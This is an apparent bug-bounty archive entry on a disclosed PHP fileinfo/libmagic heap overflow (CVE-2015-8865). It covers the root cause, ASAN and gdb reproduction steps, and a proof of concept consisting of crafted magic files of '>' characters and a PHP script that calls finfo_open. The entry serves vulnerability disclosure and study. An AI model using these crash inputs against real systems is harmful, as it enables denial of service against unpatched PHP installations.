# Buffer over-write in finfo_open with malformed magic file.

Malformed magic file with 31+ '>' chars overflows a heap buffer in PHP's libmagic file_check_mem, causing heap corruption and segfault.

- Payout: $1,500
- Severity: high
- Program: Internet Bug Bounty
- Found by: haquaman
- Disclosed: 2020-11-09
- CVE: CVE-2015-8865
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/476179
- Library page: https://bugbountylibrary.com/r/h1%3A476179
- Tags: area:oss domain:oss impact:dos kind:bounty platform:hackerone sev:high tech:php technique:fuzzing technique:source-review vuln:dos vuln:memory-corruption

**Target:** PHP ext/fileinfo libmagic (finfo_open magic file parser)
**Root cause:** file_check_mem grows ms->c.li by a fixed +20 per call but indexes at attacker-controlled 'level' (31/32) without looping until level < ms->c.len, so the write lands past the 480-byte allocation.
**Steps:**
1. Create magic file of 31 '>' bytes (or 32 '>' + 'q' + 8 '>' + newline + NUL for ASAN).
2. PHP script: `$finfo = finfo_open(FILEINFO_NONE, $argv[1]); finfo_file($finfo, $argv[2]);`
3. Run `USE_ZEND_ALLOC=0 ./php-5.6.18-noasan magic-open.php magic.crash-noasan /dev/null` to trigger segfault in _int_malloc.
4. Build with ASAN + USE_ZEND_ALLOC=0 to get heap-buffer-overflow WRITE of size 4 at file_check_mem funcs.c:429, 36 bytes right of 480-byte region.
5. Confirm via gdb breakpoint at file_check_mem: level=31, ms->c.len=10.
**How found:** Fuzzing/experimentation with malformed magic files; observed segfault only with USE_ZEND_ALLOC=0 and ASAN, then used gdb to break at file_check_mem and inspect level vs ms->c.len to pinpoint the fixed-increment growth bug.
**Exploitation:** Attacker supplies a crafted magic database file path to finfo_open; parsing a line of 31+ '>' characters drives level past the allocated level_info array, writing 4 bytes out of bounds and corrupting heap metadata, leading to crash (DoS). No code-execution chain demonstrated.
**Insight:** When a grow-by-constant allocator is indexed by an attacker-controlled level, check whether the growth loop actually reaches the index; here +20 per call vs level 31/32 leaves a 4-byte OOB write. ASAN with USE_ZEND_ALLOC=0 exposes it where default Zend allocator masks it.

## Proof of concept (copied exactly from the original report)

**Malformed magic file of '>' characters**

```
$ cat magic.crash-noasan
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
```

**PHP script invoking finfo_open with magic file**

```
$ cat magic-open.php
<?php
$finfo = finfo_open(FILEINFO_NONE, $argv[1]);
$info = finfo_file($finfo, $argv[2]);
var_dump($info);
?>
```

**ASAN magic file with 'q' byte**

```
$ cat magic.crash-asan
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>q>>>>>>>>
```

